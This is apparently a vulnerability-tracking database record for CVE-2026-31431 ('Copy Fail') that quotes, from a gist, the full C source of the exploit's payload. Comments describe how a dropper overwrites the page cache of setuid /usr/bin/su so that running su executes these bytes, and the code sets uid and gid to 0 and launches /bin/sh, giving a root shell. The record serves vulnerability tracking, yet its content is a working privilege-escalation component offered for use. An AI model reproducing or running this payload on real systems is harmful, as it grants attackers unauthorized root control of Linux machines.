{"uuid": "65efbe6d-61fa-48d2-8e56-b2c261050a2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/spynika/01d9eed1d55745f89a77a3cbee9144c9", "content": "/* SPDX-License-Identifier: LGPL-2.1-or-later OR MIT */\n/*\n * Copy Fail (CVE-2026-31431) -- payload.\n *\n * Cross-platform C payload by Tony Gies .\n *\n * Cross-platform shellcode, built against the kernel's nolibc/ tiny libc.\n * payload.c is plain portable C; the per-arch syscall asm lives in\n * nolibc/arch-*.h. Supported architectures (per nolibc upstream): x86_64,\n * i386, arm, aarch64, riscv32/64, mips, ppc, s390x, loongarch, m68k, sh,\n * sparc.\n *\n * nolibc doesn't ship setuid/setgid wrappers, so we use its variadic\n * syscall() macro (nolibc/sys/syscall.h) with __NR_* constants from the\n * toolchain's . Still no embedded asm in this file.\n *\n * Runtime story: the dropper writes these bytes over the head of\n * /usr/bin/su's page-cache pages. su's on-disk inode keeps its setuid-\n * root bit, so on execve() the kernel grants effective uid 0 and then\n * loads *these* bytes from the cache as the program. main() converts\n * the ephemeral suid grant into a full root identity, then execs /bin/sh.\n *\n * Build: see Makefile. (`make` in this directory.)\n */\n\n#include \"nolibc/nolibc.h\"\n\n/* nolibc doesn't ship setuid/setgid wrappers (the kernel selftests it's\n * designed for don't need them). It does ship a portable variadic\n * syscall() macro (see nolibc/sys/syscall.h) and an execve(). The\n * __NR_* constants come from the toolchain's . */\n\nint main(void) {\n    char *argv[] = { \"sh\", (char *)NULL };\n    char *envp[] = { (char *)NULL };\n    syscall(__NR_setgid, 0);\n    syscall(__NR_setuid, 0);\n    execve(\"/bin/sh\", argv, envp);\n    return 1;\n}", "creation_timestamp": "2026-06-04T07:21:57.000000Z"}